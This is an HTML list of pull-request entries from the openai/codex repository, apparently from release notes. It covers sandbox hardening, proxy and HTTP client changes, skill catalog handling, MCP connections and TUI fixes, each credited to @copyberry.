<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4941004710" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34573" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34573/hovercard" href="https://github.com/openai/codex/pull/34573">#34573</a> Accept <code>forceRefetch</code> in plugin list requests <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4941226945" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34578" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34578/hovercard" href="https://github.com/openai/codex/pull/34578">#34578</a> Gate the TUI suspend restore helper on Unix <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4941385828" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34581" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34581/hovercard" href="https://github.com/openai/codex/pull/34581">#34581</a> Add routing-card lexical skill selection <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4941819597" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34588" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34588/hovercard" href="https://github.com/openai/codex/pull/34588">#34588</a> Bind MCP calls to captured catalog revisions <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4941895532" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34590" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34590/hovercard" href="https://github.com/openai/codex/pull/34590">#34590</a> Add keyed shell environment policy filters <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942254249" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34597" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34597/hovercard" href="https://github.com/openai/codex/pull/34597">#34597</a> Enforce exact values from managed config requirements <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942313755" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34598" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34598/hovercard" href="https://github.com/openai/codex/pull/34598">#34598</a> Skip missing paths in filesystem sandbox entries <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942376106" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34601" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34601/hovercard" href="https://github.com/openai/codex/pull/34601">#34601</a> Sanitize skill names in injection metrics <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942559228" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34603" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34603/hovercard" href="https://github.com/openai/codex/pull/34603">#34603</a> Allow explicitly permitted loopback proxy targets <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942730935" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34605" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34605/hovercard" href="https://github.com/openai/codex/pull/34605">#34605</a> Allow naming sessions with <code>/new</code> and <code>/clear</code> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942997672" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34611" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34611/hovercard" href="https://github.com/openai/codex/pull/34611">#34611</a> Add compatibility policies for skill catalog rendering <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943029257" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34612" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34612/hovercard" href="https://github.com/openai/codex/pull/34612">#34612</a> Detach non-interactive subprocesses from stdin <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943098278" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34613" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34613/hovercard" href="https://github.com/openai/codex/pull/34613">#34613</a> Route Windows sandbox proxy traffic by restricting SID <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943126228" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34615" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34615/hovercard" href="https://github.com/openai/codex/pull/34615">#34615</a> Initialize missing-path behavior in exec-server sandbox test <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943402808" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34620" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34620/hovercard" href="https://github.com/openai/codex/pull/34620">#34620</a> Add exec-server network policy callback types <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943428511" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34621" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34621/hovercard" href="https://github.com/openai/codex/pull/34621">#34621</a> Load paginated model context across rollout lineages <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943457241" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34622" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34622/hovercard" href="https://github.com/openai/codex/pull/34622">#34622</a> Increase the auto-review model override test timeout <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943485520" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34624" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34624/hovercard" href="https://github.com/openai/codex/pull/34624">#34624</a> Terminate Windows process trees with job objects <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943512909" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34625" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34625/hovercard" href="https://github.com/openai/codex/pull/34625">#34625</a> Fix Windows TUI navigation key handling <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943541356" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34626" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34626/hovercard" href="https://github.com/openai/codex/pull/34626">#34626</a> Scale skill metadata budgets with model context windows <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943653417" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34629" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34629/hovercard" href="https://github.com/openai/codex/pull/34629">#34629</a> Harden Windows elevated sandbox startup <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943673422" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34630" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34630/hovercard" href="https://github.com/openai/codex/pull/34630">#34630</a> Add a policy-aware HTTP client builder <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943701603" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34631" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34631/hovercard" href="https://github.com/openai/codex/pull/34631">#34631</a> Migrate agent identity to the shared HTTP client <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943854504" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34636" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34636/hovercard" href="https://github.com/openai/codex/pull/34636">#34636</a> Keep the TUI open when starting a turn fails <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943875354" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34637" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34637/hovercard" href="https://github.com/openai/codex/pull/34637">#34637</a> Attribute review findings to repository rules <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943938643" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34640" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34640/hovercard" href="https://github.com/openai/codex/pull/34640">#34640</a> Update Windows process-tree tests for inherited FDs <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944235126" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34641" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34641/hovercard" href="https://github.com/openai/codex/pull/34641">#34641</a> Harden managed proxy setup for sandboxed executions <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944323114" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34643" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34643/hovercard" href="https://github.com/openai/codex/pull/34643">#34643</a> Migrate login HTTP construction to <code>HttpClient</code> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944468156" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34644" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34644/hovercard" href="https://github.com/openai/codex/pull/34644">#34644</a> Verify Git plugin SHA checkouts <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944483212" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34645" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34645/hovercard" href="https://github.com/openai/codex/pull/34645">#34645</a> Always assign response item IDs <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944512925" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34649" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34649/hovercard" href="https://github.com/openai/codex/pull/34649">#34649</a> Propagate resolved proxy policy through auth routing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944532901" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34650" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34650/hovercard" href="https://github.com/openai/codex/pull/34650">#34650</a> Require auth managers to receive routing configuration <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944593769" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34651" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34651/hovercard" href="https://github.com/openai/codex/pull/34651">#34651</a> Migrate core test support to the shared HTTP client <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944753416" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34654" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34654/hovercard" href="https://github.com/openai/codex/pull/34654">#34654</a> Render turn diffs for foreign environment paths <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944789790" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34655" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34655/hovercard" href="https://github.com/openai/codex/pull/34655">#34655</a> Honor configured proxy routes for auth refreshes <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944906385" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34664" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34664/hovercard" href="https://github.com/openai/codex/pull/34664">#34664</a> Preserve approvals reviewer when forking threads <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944944287" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34667" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34667/hovercard" href="https://github.com/openai/codex/pull/34667">#34667</a> Document <code>PathUri</code> drive letter canonicalization <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944990768" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34669" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34669/hovercard" href="https://github.com/openai/codex/pull/34669">#34669</a> Expand codex-http-client usage guidance <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4945396673" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34678" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34678/hovercard" href="https://github.com/openai/codex/pull/34678">#34678</a> Route LM Studio requests through the shared HTTP client <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4945583787" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34681" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34681/hovercard" href="https://github.com/openai/codex/pull/34681">#34681</a> Add session headers to realtime conversation starts <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4946012068" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34687" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34687/hovercard" href="https://github.com/openai/codex/pull/34687">#34687</a> Configure Codex Auto Review model metadata <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4947478992" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34708" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34708/hovercard" href="https://github.com/openai/codex/pull/34708">#34708</a> Rename the MCP connection manager to <code>McpConnectionSet</code> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4947509561" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34713" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34713/hovercard" href="https://github.com/openai/codex/pull/34713">#34713</a> Order unified exec lifecycle events reliably <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948117870" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34728" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34728/hovercard" href="https://github.com/openai/codex/pull/34728">#34728</a> Skip Git enrichment for prewarm and Guardian turns <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948155465" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34729" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34729/hovercard" href="https://github.com/openai/codex/pull/34729">#34729</a> Publish stable installer aliases to R2 <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948272371" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34732" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34732/hovercard" href="https://github.com/openai/codex/pull/34732">#34732</a> Preserve skill catalog entries under metadata pressure <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948304375" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34733" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34733/hovercard" href="https://github.com/openai/codex/pull/34733">#34733</a> Make MCP resource clients follow the latest runtime <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948337938" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34734" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34734/hovercard" href="https://github.com/openai/codex/pull/34734">#34734</a> Remove step-scoped data from extension contributors <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948607501" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34738" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34738/hovercard" href="https://github.com/openai/codex/pull/34738">#34738</a> Drop skill descriptions before omitting catalog entries <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948870131" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34744" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34744/hovercard" href="https://github.com/openai/codex/pull/34744">#34744</a> Update skills budget tests for extension API changes <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948971292" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34746" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34746/hovercard" href="https://github.com/openai/codex/pull/34746">#34746</a> Match core skill ordering in extension catalogs <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4949007089" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34747" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34747/hovercard" href="https://github.com/openai/codex/pull/34747">#34747</a> Register the MCP 2026-07-28 feature flag <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4949865659" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34761" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34761/hovercard" href="https://github.com/openai/codex/pull/34761">#34761</a> Reduce app-server JSON serialization overhead <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4949918794" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34763" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34763/hovercard" href="https://github.com/openai/codex/pull/34763">#34763</a> Retry websocket requests when the previous response is missing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950172483" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34766" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34766/hovercard" href="https://github.com/openai/codex/pull/34766">#34766</a> Reduce typed app-server request serialization overhead <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950439127" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34769" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34769/hovercard" href="https://github.com/openai/codex/pull/34769">#34769</a> Add the git attribution extension <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950465116" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34770" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34770/hovercard" href="https://github.com/openai/codex/pull/34770">#34770</a> Enable exec-server network policy callbacks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950521986" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34771" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34771/hovercard" href="https://github.com/openai/codex/pull/34771">#34771</a> Size unified mention popups to visible results <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
